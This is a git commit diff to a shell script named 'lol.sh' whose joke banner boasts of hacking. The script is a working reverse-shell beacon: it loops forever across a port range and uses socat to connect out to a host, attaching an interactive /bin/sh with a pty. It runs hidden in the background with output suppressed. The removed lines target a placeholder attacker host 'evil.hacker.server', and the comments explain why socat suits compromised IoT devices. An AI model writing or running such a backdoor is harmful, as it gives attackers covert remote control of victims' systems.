Update 'lol.sh'

figure out how to the most basic shit in the shell that i literally use all day every day

lol.sh

@@ -5,39 +5,46 @@
 # +HACKS YOUR EXES FACEBOOK              #
 # +MAKES YOU THE LEADER OF ANONYMOUS     #
 #\--------------------------------------/#
-# Config ####
-STARTPORT=105
-ENDPORT=115
+
+## Config ###
+STARTPORT=3336
+ENDPORT=3338
 TIMEOUT=90
-HOST=evil.hacker.server
+HOST='localhost'
+SOCAT=/usr/bin/socat
 #############
 
 # initialize variable before we enter the while loop
-PORT=$STARTPORT
- 
-while true;	
+PORT=0
+
+while true;
 do
 # ----> remove any old left over files
-	find /tmp/ -iname "*.prt" -exec rm {} \;
+        find /tmp/ -iname "*.prt" -exec rm {} \;
+
+# ----> cycle destination ports when socat times out or you mash CTRL+C               
+        if [[ $PORT == 0 ]]
+        then
+                PORT=$STARTPORT
+        elif [[ $PORT < $((ENDPORT+1)) ]]
+        then
+                PORT=$((PORT+1))
+        fi
 
-# ---> ratchet destination ports when socat times out, reset once it counts to $ENDPORT
-	if [[ $PORT != $MAXPORT ]]
-	then
-			PORT=$((PORT+1)) 
-	else
-			PORT=$STARTPORT
-	fi
-	
 # ----> provide a very crude indicator of what port we are currently using
         touch /tmp/a${PORT}.prt
-        sleep 8
 
-# ----> socat: ~0 protocol overhead, potential to provide fully interactive pty
-# -------> and for *nix compatibility, particularly in IoT
-# -------> future plans for this script involve more socat magic                                             
-        /tmp/socat -T ${TIMEOUT} tcp-connect:${HOST}:${PORT} \ # why socat? binaries for everything, 0 overhead
-				 exec:/bin/sh,pty,stderr,setsid,sigint,sane;   # easier to acquire a pty (if env allows) vs nc
+        sleep 3
 
+# ----> socat? cross-compatible, easy pty, no overhead, we'll use it for more in the future
+
+        $SOCAT -T ${TIMEOUT} tcp-connect:${HOST}:${PORT} exec:/bin/sh,pty,stderr,setsid,sigint,sane;
+
+# ----> if we hit the end, reset the count 
+        if [[ $(($PORT+1)) > $ENDPORT ]];
+        then
+                PORT=0
+        fi
 
 # suppress all console output and run in the background
-done &>/dev/null&
+done &>/dev/null&